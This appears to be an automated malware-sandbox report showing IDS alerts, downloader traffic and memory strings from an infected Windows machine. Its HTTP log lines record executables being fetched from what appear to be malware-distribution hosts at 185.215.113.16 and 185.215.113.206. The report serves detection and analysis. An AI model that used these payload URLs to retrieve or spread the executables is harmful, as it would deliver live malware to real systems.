Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:50096 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50095 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50093 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50090 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 172.202.163.200:443 -> 192.168.2.5:49713

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 00000019.00000002.3038492553.0000025E80C4B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80C4B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D2DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You must provide a target ID as the second parameter of AlsoToOneContent. If you want to send to all content processes, use BroadcastToContenthttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=$locale&region=$region&count=30 equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D2DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You must provide a target ID as the second parameter of AlsoToOneContent. If you want to send to all content processes, use BroadcastToContenthttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=$locale&region=$region&count=30 equals www.youtube.com (Youtube)
